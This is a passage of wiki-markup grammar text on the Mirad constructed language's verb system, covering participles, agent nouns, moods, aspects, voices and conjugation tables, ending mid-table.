::* '''zayben'''....''advancing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zaybeyn'''....''advancement''

: Another special gerundive (but lexical) ending is '''-un''', which expresses the result of an action, eg.:
::* '''zyegxer'''....''to puncture''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyegxun'''....''a puncture''
::* '''zyeuber'''....''to transmit''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyeubun'''....''a broadcast''
::* '''deuzer'''....''to sing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''deuzun'''....''a song''

=== Participles ===
: Participles are verbal adjectives and can modify nouns and pronouns.  Since they act as adjectives, they have the adjectival ending '''-a'''.  Participles are marked by '''''aspect''''' (simple, progressive, perfect, imminent, potential) and '''''voice''''' (active, passive).
: The aspect markers per voice are:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Aspect Markers
|-
! Aspect !! Voice !! Form !! Example
|-
! rowspan=2| Progressive
! rowspan=1 | Active 
| '''-ea-''' || '''tejea'''....''living''
|-
! rowsspan=1 | Passive 
| '''wea''' || '''xwea'''....''happening, being done''
|-
! rowspan=2| Perfect
! rowspan=1 |Active
| '''-ya''' || '''pya'''....''gone''   (&lt; '''pyaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=1| Passive 
| '''-wa''' || '''xwa'''....''done''   (&lt; '''xwaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=2| Imminent
! Active 
| '''-oa''' || '''tojoa'''....''about to die''
|-
! rowspan=1 | Passive 
| '''-woa''' || '''dodelwoa'''....''about to be announced''
|-
! rowspan=2| Potential
! Active 
| '''-ua''' || '''tojbua'''....''lethal''
|-
! rowspan=1| Passive 
| '''-wua''' || '''opoxwua'''....''unstoppable''
|}
: &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;: The double '''aa''' in the perfect endings is reduced to '''a'''.&lt;/small&gt;
: '''''Note 1:''''' The perfect active particple ending in '''-ya''' is used only for intransitive verbs like '''per''' (''to go'').  '''He is &lt;u&gt;gone&lt;/u&gt;.''' is expressed by '''Wit se &lt;u&gt;pya&lt;/u&gt;'''.
: '''''Note 2:''''' The potential aspect, represented by the vowel '''u''' is much like the conditional in English, but is not considered a tense in Mirad.  For example, '''tojbu''' means ''would kill'' and the participle '''tojbua''' means ''lethal'' (referring to something that ''would/has the potential to kill'').  More about this in a later section.
: '''''Note 3:''''' There is another form of the progressive participle that falls in the lexical, rather than morphological category, in that such forms are listed in the dictionary as adjectives.  For example, in the phrase ''The animals &lt;u&gt;bothering&lt;/u&gt; our bird feeder...'', the participle ''bothering'' would be '''oboxea''' in Mirad.  By inserting the letter '''y''' between the verb stem and the participial ending, the participle becomes an adjective denoting a propensity or habit, as in ''bothersome'' ('''obox&lt;u&gt;y&lt;/u&gt;ea''').  Such participles are invariably in the active voice.  Most such adjectives in English end in ''-ive'' as in ''repulsive'' or ''-ly'' as in ''wiggly'' or ''-ous'' as in ''circuitous.''  Such adjectives in Mirad are listed in the dictionary and end in '''-yea'''.

: Adverbial participles can be made from the above adjectival participles, by suffixing the letter '''y'''.  Examples:
::* '''Iyt yepa ha tim &lt;u&gt;deuzeay&lt;/u&gt;.'''....''She entered the room &lt;u&gt;singing&lt;/u&gt;.''
::* '''&lt;u&gt;Ujbaway&lt;/u&gt; ha dodal, it pia.'''....''The speech &lt;u&gt;having been finished&lt;/u&gt;, he left.''
: Also, the above participles can be converted into abstract nouns by suffixing '''n'''.  Examples:
::* '''tiluwa'''....''drinkable'' &lt;big&gt;→&lt;/big&gt; '''tiluwan'''....''potability''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuan'''....''lethality''
::* '''mansea'''....''shining'' &lt;big&gt;→&lt;/big&gt; '''he &lt;u&gt;mansean&lt;/u&gt; bi iyta deuzen'''....''the &lt;u&gt;brilliance&lt;/u&gt; of her singing''
::* '''aakaxyea'''....''inventive'' &lt;big&gt;→&lt;/big&gt; '''aakaxyean'''....''inventiveness''
: Furthermore, these participles can sometimes be pronominalized with '''s''' for things and '''t''' for people or living things.  These forms can, in turn, be pluralized:

::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwas'''....''what is done, a happening''
::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwasi'''....''happenings, deeds''
::* '''otwa'''....''unknown'' &lt;big&gt;→&lt;/big&gt; '''otwas'''....''what is not known, a mystery''
::* '''osexea'''....''destroying'' &lt;big&gt;→&lt;/big&gt; '''osexeas'''....''a destroyer''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuas'''....''something lethal, a lethal thing''
::* '''tojboa'''....''moribund'' &lt;big&gt;→&lt;/big&gt; '''tojboati'''....''people about to die, fatal cases''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeat'''....''a living person''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeasi'''....''living things''
: There is a special tenseless, nominalized, animate participle used for '''''agent''''' nouns (English ''one who does something, Xer'', ''Xant'', ''Xist''), which refers to a person who habitually does some action, perhaps as a profession or trade.  These agent nouns end in '''-ut'''.
::* '''sexut'''....''builder''
::* '''nuut'''....''supplier''
::* '''tojbut'''....''killer''
::* '''ifut'''....''lover''
::* '''akuti'''....''winners''
: Note: There is a slight difference of meaning between the tensed participial pronoun '''ha akeat'''....''the one winning'' and the non-tensed agent noun '''ha akut'''....''the winner''.
: Similarly, there is a special tenseless, nominalized, &lt;u&gt;in&lt;/u&gt;animate participle used for a thing that performs the action denoted by the verb stem.  These agent nouns end in '''-us'''.

::* '''yuxus'''....''aid (a thing that helps)''
::* '''byuxwus'''....''button (a thing that gets touched on the keyboard)''
::* '''paxus'''....''motive (a thing that moves one)''
::* '''jaupus'''....''precedent (a thing that comes before)''
: The above '''-us''' ending contrasts with the endings '''-ar''' (''instrument''), '''-ir''' (''machine''), '''-ur''' (''motor, engine''), which are physical objects and not always suffixed to a verbal root.

== Finite Forms ==
[[File:Auxiliary verbs tree 3.png|thumb|]]
: In Mirad, finite verb forms are those that can take a person subject, serve as a predicate, and be conjugated. Finite verb forms are conjugated by using suffixes indicating, through their presence or absence, the following categories:

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* TENSES 
:::# '''''present'''''
:::# '''''past'''''
:::# '''''future'''''
:::# '''''atemporal'''''
::* MOODS
:::# '''''indicative'''''
:::# '''''hypothetical'''''
::* ASPECTS
:::# '''''simple'''''
:::# '''''progressive'''''
:::# '''''perfect'''''
:::# '''''imminent'''''
:::# '''''potential'''''
::* VOICES
:::# '''''active'''''
:::# '''''passive'''''
:::# '''''reflexive'''''
:::# '''''reciprocal'''''
&lt;/div&gt;

: Person and number are not marked on the verb form itself.  For example, ''am'', ''is'', ''are'', which change according to the person subject in English,  are all expressed with the same verb form in Mirad: '''se'''.  Thus, '''at se'''....''I am'', '''et se'''....''you are'', '''it se'''....''he/she/it is'', etc.

=== Moods ===
: There are two moods in Mirad:
::* '''''indicative'''''
::* '''''hypothetical'''''.

===== Indicative Mood =====
: The '''''indicative''''' form of the verb indicates an action or state that occurs in actual time, such as ''he went'', ''he is going'', ''he will go.''

: The indicative mood has three tenses, '''''present''''', '''''past''''', '''''future''''',  indicated by the suffixes '''-e''', '''-a''', and '''-o''', respectively.

===== Hypothetical Mood =====
: Wheras the indicative verb forms expresses actuality in time, the '''''hypothetical mood''''' expresses one of the non-actuality situations below and uses the vowel '''u'''.

::* a command , i.e. the '''''imperative''''' (''Go!'')
::* a wish or suggestion, i.e. the '''''hortative''''' or '''''jussive''''' (''May the king live long!'', ''Let's celebrate!'')
::* an unrealized situation, i.e. the '''''subjunctive''''' (''It is important that you &lt;u&gt;be&lt;/u&gt; early.'')
::* an imagined if-then-situation, i.e. the '''''conditional''''' (''If I &lt;u&gt;were&lt;/u&gt; rich, I &lt;u&gt;would be&lt;/u&gt; happy.'')

=== Aspects ===

: There are five aspects in the Mirad verb system.

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* the '''''simple''''' aspect (default), i.e. non-progressive, non-perfect, non-imminent, and non-conditional.
::* the '''''progressive''''' aspect, i.e. an action or state on-going in the particular tense, using '''ey'''
::* the '''''perfective''''' aspect, i.e. an action or state anterior or already completed, using '''ay'''
::* the '''''imminent''''' aspect, i.e. an action or state about to happen, using '''oy'''
::* the '''''potential''''' aspect, i.e. an action potentially happening, using '''uy'''
&lt;/div&gt;
===== The Simple Aspect =====

:: Unless specifically marked, the default aspect is '''''simple''''', i.e. non-progressive, non-perfect, non-imminent, and non-conditional.  Three indicative tenses can be expressed in the simple aspect:
::* Present with '''e'''
::* Past with '''a'''
::* Future with '''o'''. 

:: An atemporal verb ending in '''u''' in the simple aspect is considered hypothetical and expresses three things, depending on how it is used in the sentence:
::* a conditional like ''I would go (if...)''
::* an imperative like ''Go!''
::* a hortative like ''Let's go!''
::* a subjunctive like ''(It is important that) we go.''

:: Here is a chart showing the simple, active voice instantiations of the Mirad verb '''per''' (''to go'')  with the endings underlined:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em;&quot;
|+ Simple Active Conjugation of '''Per'''
|-
! Mood !! Tense !! Aspect !! Voice !! Instantiation !! Verb '''per'''
|-
!row=1| Indicative !! Present !! Simple !! Active !!
| '''At p&lt;u&gt;e&lt;/u&gt;'''....''I go''
|-
!row=1| Indicative !! Past !! Simple !! Active !!
| '''At p&lt;u&gt;a&lt;/u&gt;'''....''I went''
|-
!row=1| Indicative !! Future !! Simple !! Active !!
|'''At p&lt;u&gt;o&lt;/u&gt;'''....''I will go''
|-
!row=1 rowspan=4 | Hypothetical
!rowspan=4| Atemporal
!rowspan=4| Simple
!rowspan=4| Active 
! Conditional
|'''At p&lt;u&gt;u&lt;/u&gt;'''....''I would go''
|-
! Hortative/Optative/Jussive
|'''Van yat p&lt;u&gt;u&lt;/u&gt;!'''....''Let's go!''
|-
! Imperative
|'''P&lt;u&gt;u&lt;/u&gt; tam!'''....''Go home!''
|-
! Subjunctive
|'''Se efwa van et p&lt;u&gt;u&lt;/u&gt;.'''....''It is necessary that you go.''
|}

: Note that the last four instantiations are the same tense, but differ in syntax.  For example, if the verb form is hypothetical, atemporal, simple, active and has no subject, it operates as an imperative.

==== The Simple Indicative Present Active Tense ====

:: The simple indicative present instantiation is marked with the vowel suffix '''e''' and has a non-progressive ('''''habitual''''') aspect as in English ''I work'' or ''I live''.  Progressive aspect forms like ''I am studying'' are explained later.

:: Examples:
:::* '''At &lt;u&gt;yexe&lt;/u&gt; be tam.''' ....''I &lt;u&gt;work&lt;/u&gt; at home''.
:::* '''Hia tom &lt;u&gt;se&lt;/u&gt; nam.''' ....''This building &lt;u&gt;is&lt;/u&gt; a store.''
:::* '''Ha amur &lt;u&gt;yuzpe&lt;/u&gt; ha imer.'''....''The moon &lt;u&gt;goes around&lt;/u&gt; the earth.''

==== The Simple Indicative Past Active Tense ====
: The simple indicative past tense instantiation is marked with the vowel suffix '''a''' and has a non-progressive (punctual) meaning as in English ''I did something at some particular point in time''.  The simple past contrasts in aspect with the past progressive (''I was doing something'') or the present perfect (''I have done something''), or past potential (''I would have done something'').  The simple past is punctual, that is, it describes an event that occurred at a particular point in time.
: Examples:
::* '''Iyt &lt;u&gt;iba&lt;/u&gt; ha nyuf zojub.''' ....''She &lt;u&gt;received&lt;/u&gt; the package yesterday.''
::* '''At &lt;u&gt;ujba&lt;/u&gt; ha dyes ji iwa jwobi.''' ....''I &lt;u&gt;finished&lt;/u&gt; the book three hours ago.''
::* '''His &lt;u&gt;kyesa&lt;/u&gt; exag hijub.'''....''This &lt;u&gt;happened&lt;/u&gt; twice today.''

==== The Simple Indicative Future Active Tense ====

: The simple indicative future tense is marked with the vowel suffix '''o''' and has the same meaning as in English ''I will do something at some particular point in the future''.

: Examples: 
::* '''Yit &lt;u&gt;tadso&lt;/u&gt; zajab.'''....''They &lt;u&gt;are going to get married&lt;/u&gt; next year.''
::* '''Hua kaxon &lt;u&gt;ujako&lt;/u&gt;.''' ....''That solution &lt;u&gt;will work&lt;/u&gt;.''
::* '''At &lt;u&gt;so&lt;/u&gt; him hoj et &lt;u&gt;upo&lt;/u&gt;.'''....''I &lt;u&gt;will be&lt;/u&gt; here when you &lt;u&gt;(will) come.&lt;/u&gt;&lt;sup&gt;1&lt;/sup&gt;''
:: Note 1: Unlike in English,  Mirad does not use the present tense for a real future.  There is also no sequence of tenses in Mirad (such as, ''He said he was coming.''.  In Mirad, this would be expressed as ''He said he &lt;u&gt;will&lt;/u&gt; come.'').

==== The Simple Hypothetical Atemporal Active Tense ====

: A verb form ending in '''u''' like '''pu''' has no time value and is used to express unreal actions or states, such as the '''''imperative''''', '''''hortative''''', '''''conditional''''', or '''''subjunctive'''''.
: Examples:
::* '''&lt;u&gt;Upu&lt;/u&gt; him!'''....''&lt;u&gt;Come&lt;/u&gt; here!'' ('''''imperative''''')
::* '''&lt;u&gt;Von upu&lt;/u&gt;!''' ....''&lt;u&gt;Don't come&lt;/u&gt;!'' ('''''negative imperative''''')
::* '''Ha edeb &lt;u&gt;fu&lt;/u&gt; teater et.''' ....''The king &lt;u&gt;would like&lt;/u&gt; to see you.'' ('''''conditional''''')
::* '''Ven at &lt;u&gt;su&lt;/u&gt; et, at &lt;u&gt;dolu&lt;/u&gt;.''' ....''If I &lt;u&gt;were&lt;/u&gt; you, I &lt;u&gt;would be&lt;/u&gt; quiet.'' ('''''conditional''''')
::* '''Van yeyt &lt;u&gt;ujaku&lt;/u&gt; be yeyta yexneadi.''' ....''May all you (women) &lt;u&gt;succeed&lt;/u&gt; in your careers.'' ('''''hortative''''')
::* '''Van yat &lt;u&gt;ijbu&lt;/u&gt; bay fyadil.''' ....''Let's &lt;u&gt;begin&lt;/u&gt; with a prayer.'' ('''''jussive''''')
::* '''Se kyitesa &lt;u&gt;van et puu&lt;/u&gt; jwa.''' ....''It's important &lt;u&gt;that you arrive&lt;/u&gt; early.'' ('''''subjunctive''''')
::* '''Se kyitesa &lt;u&gt;von et puu&lt;/u&gt; jwo.'''....''It's important &lt;u&gt;that you not arrive&lt;/u&gt; late.'' ('''''negative subjunctive''''')
: Hypothetical verb forms ending in '''-u''' can be interpreted in various ways, depending on the following syntactical patterns in the sentence:
::* Generally, if a verb form ending in '''-u''' begins a sentence and has no subject, then it is an IMPERATIVE (a command).  For example, '''Ipu!''', ''Go away!''.
::* If the verb form has a subject not preceded by the complementizers '''van''', '''ven''', or '''von''', then it is probably a conditional predicate like '''At fu per.'''....''I &lt;u&gt;would like&lt;/u&gt; to go.''.
::* If the subject of the verb is preceded by '''ven'''....''if'', then it is a conditional clause as in '''Ven at &lt;u&gt;su&lt;/u&gt; nasikat...'''....''If I &lt;u&gt;were&lt;/u&gt; a rich man.''.
::* If the subject is preceded by '''Van'''....''that/let/may'' or '''von'''....''don't'', then it is a hortative wish like '''Van et yagteju.'''....''May you live long.'' or a jussive suggestion like '''Van yat fyadilu.'''....''Let us pray.'' or a prohibition like '''Von tiliu his!'''....''Don't drink this!''.

=== Voices ===

: Mirad has four voices:
::* Active
::* Passive
::* Reflexive
::* Reciprocal.

==== Active Voice ====
: The default voice is active, i.e. the subject of the verb is doing the action.
::* '''At teata ha kyes.'''....''I saw the event.''

==== Passive Voice ====
: A verb form is converted from active to passive by inserting a '''w''' just after the stem of the verb form.  The past passive particle ending '''-waa''' is usually abbreviated to '''-wa''' (''done'' is '''xwa''').
: The following chart shows the distinction between active and passive voice of various verbs:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:4.8em&quot;
|+ Contrasting Active and Passive Voice
! Verb Form !! Active !! Active&lt;br&gt;Example !! Passive !! Passive&lt;br&gt;Example
|-
!row=1| Infinitive 
| '''xer'''&lt;br&gt;''to do'' || '''At fe xer fi.'''&lt;br&gt;''I want to do well.'' || '''xwer'''&lt;br&gt;''to be done'' || '''Ese hyos xwer.'''&lt;br&gt;''There is nothing to be done.''
|-
!row=1| Present Participle 
| '''sexea'''&lt;br&gt;''constructing'' || '''Ha nunxob sexea hia tom...'''&lt;br&gt;''The firm constructing this building...''|| '''sexewa'''&lt;br&gt;''being constructed'' || '''His se sexewa.'''&lt;br&gt;''This is under construction.''
|-
!row=1| Present
| '''xe'''&lt;br&gt;''do/does'' ||'''At xe fi be tixam.'''&lt;br&gt;''I do well in school.'' || '''xwe'''&lt;br&gt;''is done'' || '''Huyenasi hoj xwe.'''&lt;br&gt;''Such things are never done.''
|-
!row=1| Past Participle
| '''xaa'''&lt;br&gt;''having done'' || '''Iyt, xaa hya iyta yex,...'''&lt;br&gt;''She, having done all her work,...'' ||'''xwa'''&lt;br&gt;''done'' || '''Hyas se xwa.'''&lt;br&gt;''Everything is done.''
|-
!row=1| Past 
| '''tojba'''&lt;br&gt;''killed'' || '''Duhot tojba hwut?'''&lt;br&gt;''Who killed that guy?'' || '''tojbwa'''&lt;br&gt;''was killed'' || '''Duhoj wit tojbwa?'''&lt;br&gt;''When was he killed?''
|-
!row=1| Hypothetical
| '''bakxu'''&lt;br&gt;''heal''   || '''Bakxu at!'''&lt;br&gt;''Heal me!'' || '''bakxwu'''&lt;br&gt;''be healed'' || '''Van iyt bakxwu.'''&lt;br&gt;''May she be healed.''
|}
: Intransitive verbs cannot be made passive.  For example, '''tajer'''....''to be born'' is intransitive (takes no object) and has no passive voice form.  However, the transitive verb '''tajber'''....''to bear, give birth'' can be passive, as in '''Ha tudet &lt;u&gt;tajbwa&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was delivered&lt;/u&gt; yesterday'' (as opposed to '''Ha tudet &lt;u&gt;taja&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was born&lt;/u&gt; yesterday.)''  Notice how this works with '''yijer''' (''to open''):
::* '''Ha mes yija.'''....''The door opened (by itself).'' (medio-passive)
::* '''Ha mes yijpa.'''....''The door came open.'' (dynamic medio-passive)
::* '''Yijbu ha mes.'''....''Open the door.'' (transitive active)
::* '''Ha mes yijbwa.'''....''The door was opened (by someone).'' (passive)
: Impassive verbs form their past particple with the ending '''ya''', but these forms are somewhat rare.  Here are some examples:
::* '''per'''....''to go'' -&gt; '''pya'''....''gone''
::* '''tajer'''....''to be born'' -&gt; '''tajya'''....''born'' (ex.'''Jesus tajya bi Marya.''''....''Jesus, born of Mary'')
::* '''tojer'''....''to die'' -&gt; '''tojya'''....''dead''
::* '''loteaser'''....''to disappear'' -&gt; '''loteasya'''....''disappeared'' (ex. '''Ha loteasya tobi be Arogem.'''....''the disappeared persons in Argentina.'')

==== Reflexive Voice ====
: A verb is made reflexive by prefixing the reflexive pronoun '''ut''' (''self''), for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''uttojber'''....''to kill oneself''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''utvyilxer'''....''to wash up''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''utteater'''....''to see oneself''
::* '''yabler'''....''to lift'' &lt;big&gt;→&lt;/big&gt; '''utyabler'''....''to lift oneself'' → '''Utyablu!'''....''Lift yourself up!''
::* '''trer'''....''to know'' &lt;big&gt;→&lt;/big&gt; '''uttrer'''....''to know oneself'' → '''Uttru!'''....''Know thyself!''

==== Reciprocal Voice ====

: A verb is made reciprocal by prefixing the reciprocal pronoun '''hyuit'''....''one another'', for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''hyuittojber'''....''to kill one another''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''hyuitvyilxer'''....''to wash one another''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''hyuitteater'''....''to see one another''

: Both the reflexive pronoun and reciprocal pronoun can be used as standalone objects.  However, the plural form '''yut''' is used if the subject is plural, for example:

::* '''Yit vyilxa &lt;u&gt;yut&lt;/u&gt;.'''....''They (f.) washed up. (= washed &lt;u&gt;selves&lt;/u&gt;).''
::* '''Ha twobeti dizeuda &lt;u&gt;hyuit&lt;/u&gt;.'''....''The boys laughed at &lt;u&gt;one another&lt;/u&gt;.''
: The word '''hyuit''' is a hybrid of '''hyit'''....''the same one'' combined with '''hyut'''....''the other one''.

==== Aspects Revisited ====

: Mirad verbs have the following aspects:

::* '''''Simple''''' -- this is the default aspect, shown above, i.e. non-progressive, non-perfect, non-imminent, and non-potential.
::* '''''Progressive''''' -- this is an aspect where the verb describes an on-going action or state spread over time.
::* '''''Perfect''''' -- this presents the action or state as anterior, or completed prior to another action or state.
::* '''''Immininent''''' -- this describes an action or state ''about to happen.''
::* '''''Potential''''' -- this refers to an action or state where something is ''possible''.

==== The Simple Aspect ====

: The following chart presents Mirad verbs in the Simple aspect.  In the active voice, the tense vowels '''a''', '''e''', '''o''', and '''u''' are affixed to the stem.  In the passive voice, the passive marker consonant '''w''' is inserted between the stem and the final tense vowels.  The simple present tense refers to actions or states that are habitual (''I regularly go to school.''), regular (''The earth revolves around the sun.''), or permanent (''Blue is a color.'').  The simple past refers to actions or states that occurred at a fixed point in time (''I did my homework last night.'').  The simple future refers to actions or states that will occur at some particular point in the future (''The sun will rise tomorrow at dawn.'').  The simple atemporal hypothetical ( = conditional) refers to an imagined action or state that has not be realized (''You would make a good president.'').
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Simple Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Simple !! Present !! Indicative 
| '''At x&lt;u&gt;e&lt;/u&gt;'''....''I do'' || '''Has x&lt;u&gt;we&lt;/u&gt;'''....''It is done''
|-
!row=1| Simple !! Past !! Indicative 
| '''At x&lt;u&gt;a&lt;/u&gt;'''....''I did'' || '''Has x&lt;u&gt;wa&lt;/u&gt;'''....''It was done''
|-
!row=1| Simple !! Future !! Indicative 
| '''At x&lt;u&gt;o&lt;/u&gt;'''....''I will do'' || '''Has x&lt;u&gt;wo&lt;/u&gt;'''....''It will be done''
|-
!row=1| Simple !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;u&lt;/u&gt;'''....''I would do''&lt;sup&gt;1&lt;/sup&gt; || '''Has x&lt;u&gt;wu&lt;/u&gt;'''....''It would be done''
|}
: 1: Absence of tense (Atemporal) + Hypothetical mood = '''''conditional'''''.

==== The Progressive Aspect ====

: The following chart presents Mirad verbs in the Progressive aspect.  The present tense vowel '''e''' followed by a buffer consonant, are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the active voice, or  '''w''' in the passive voice.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller; &quot;
|+ Progressive Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Progressive !! Present !! Indicative 
| '''at x&lt;u&gt;eye&lt;/u&gt;'''....''I am doing'' || '''Has x&lt;u&gt;ewe&lt;/u&gt;'''....''it is being done''
|-
!row=1| Progressive !! Past !! Indicative 
| '''at x&lt;u&gt;eya&lt;/u&gt;'''....''I was doing'' || '''Has x&lt;u&gt;ewa&lt;/u&gt;'''....''it was being done''
|-
!row=1| Progressive !! Future !! Indicative 
| '''at x&lt;u&gt;eyo&lt;/u&gt;'''....''I am going to be doing'' || '''Has x&lt;u&gt;ewo&lt;/u&gt;'''....''it will be happening''
|-
!row=1| Progressive !! Atemporal !! Hypothetical 
| '''at x&lt;u&gt;eyu&lt;/u&gt;'''....''I would be doing'' || '''Has x&lt;u&gt;ewu&lt;/u&gt;'''....''it would be happening''
|}

==== The Perfect Aspect ====

: The following chart presents Mirad verbs in the Perfect aspect.  The past tense vowel '''a''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice.   

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Perfect Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Perfect !! Present !! Indicative 
| '''At x&lt;u&gt;aye&lt;/u&gt;'''....''I have done'' || '''Has x&lt;u&gt;awe&lt;/u&gt;'''....''It has been done''
|-
!row=1| Perfect !! Past !! Indicative 
| '''At x&lt;u&gt;aya&lt;/u&gt;'''....''I had done'' || '''Has x&lt;u&gt;awa&lt;/u&gt;'''....''It had been done''
|-
!row=1| Perfect !! Future !! Indicative 
|'''At x&lt;u&gt;ayo&lt;/u&gt;'''....''I will have done'' || '''Has x&lt;u&gt;awo&lt;/u&gt;'''....''It will have been done''
|-
!row=1| Perfect !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;ayu&lt;/u&gt;'''....''I would have done'' || '''Has x&lt;u&gt;awu&lt;/u&gt;'''....''It would have been done''
|}

==== The Imminent Aspect ====

: The following chart presents Mirad verbs in the Imminent aspect (sometimes referred to as the Prospective aspect).  The future tense vowel '''o''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. Not that only indicative mood imminent tenses are ever used.  

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Imminent Aspect
|-
! Aspect || Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Imminent !! Present !! Indicative 
| '''At x&lt;u&gt;oye&lt;/u&gt;'''....''I am about to do'' || '''Has x&lt;u&gt;owe&lt;/u&gt;'''....''It is about to be done''
|-
!row=1| Imminent !! Past !! Indicative 
| '''At x&lt;u&gt;oya&lt;/u&gt;'''....''I was about to do'' || '''Has x&lt;u&gt;owa&lt;/u&gt;'''....''It was about to be done''
|}

==== The Potential Aspect ====

: The following chart presents Mirad verbs in the Potential aspect.  The hypothetical vowel '''u''' followed by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. The future potential and hypothetical potential aspects are never used. 

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Potential Aspect
|-
! ASPECT !! TENSE !! MOOD !! ACTIVE VOICE !! PASSIVE VOICE
|-
!row=1| Potential !! Present !! Indicative 
| '''At x&lt;u&gt;uye&lt;/u&gt;'''....''I am to do'' || '''Has x&lt;u&gt;uwe&lt;/u&gt;'''....''It is to be done, it is doable''
|-
!row=1| Potential !! Past !! Indicative 
| '''At x&lt;u&gt;uya&lt;/u&gt;'''....''I was to do'' || '''Has x&lt;u&gt;uwa&lt;/u&gt;'''....''It was to be done, it was doable''
|}

== Verb Conjugation Chart ==

: The following chart presents the totality of the Mirad affirmative verb conjugation system using the verb '''xer'''....''to do'' and its passive '''xwer'''....''to be done, happen''.  The rows beginning with a light blue background are finite forms, while those beginning with light green are non-finite forms.

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Conjugation Chart
|- valign=top
!rowspan=2| State !!rowspan=2| Mood !!rowspan=2| Aspect !!rowspan=2| Tense !! colspan=4|Voice
|-
! Active!!Passive
|-
! rowspan=16 style=&quot;background: lightblue;{{text default color}};&quot;|Finite !!rowspan=3| Indicative !!rowspan=4| Simple !! Present
| '''xe''' &lt;br&gt;''does''||'''xwe'''&lt;br&gt;''is done, happens''
|-
! Past
| '''xa''' &lt;br&gt;''did''||'''xwa'''&lt;br&gt;''was done, happened''
|-
!  Future
| '''xo''' &lt;br&gt;''will do''||'''xwo'''&lt;br&gt;''will be done, will happen''
|-
! Hypothetical|| 
| '''xu''' &lt;br&gt;''would do, do!''||'''xwu'''&lt;br&gt;''would be done, would happen, be done!''
|-
!rowspan=3| Indicative !!rowspan=4| Progressive !! Present 
| '''xeye'''&lt;br&gt;''is doing''||'''xewe'''&lt;br&gt;''is being done, is happening''
|-
!  Past 
| '''xeya''' &lt;br&gt;''was doing''||'''xewa'''&lt;br&gt;''was doing, was happening''
|-
!  Future 
| '''xeyo'''&lt;br&gt;''will be doing''||'''xewo'''&lt;br&gt;''will be happening''
|-
! Hypothetical|| 
| '''xeyu''' &lt;br&gt;''would be doing''&lt;br&gt;''be doing!''||'''xewu'''&lt;br&gt;''would be happening''
|-
!rowspan=3|Indicative !! rowspan=4| Perfect !! Present
| '''xaye''' &lt;br&gt;''has done''||'''xawe''' &lt;br&gt;''has been done, has happened''
|-
!   Past 
| '''xaya''' &lt;br&gt;''had done''||'''xawa'''&lt;br&gt;''had been done, had happened''
|-
!  Future 
| '''xayo''' &lt;br&gt;''will have done''||'''xawo''' &lt;br&gt;''will have been done, will have happened''
|-
! Hypothetical !! 
| '''xayu''' &lt;br&gt;''would have done''||'''xawu'''&lt;br&gt;''would have been done, would have happened''
|-
!rowspan=4| Indicative !! rowspan=2|Imminent !! Present
| '''xoye''' &lt;br&gt;''is about to do''||'''xowe'''&lt;br&gt;''is about to be done, is about to happen''
|-
! Past
| '''xoya'''&lt;br&gt;''was to be done'' ||'''xowa'''&lt;br&gt;''was to be done, was to happen''
|-
! rowspan=2|Potential !! Present
| '''xuye'''&lt;br&gt;''is supposed to do'' ||'''xuwe''' &lt;br&gt;''is supposed to happen''
|-
!  Past
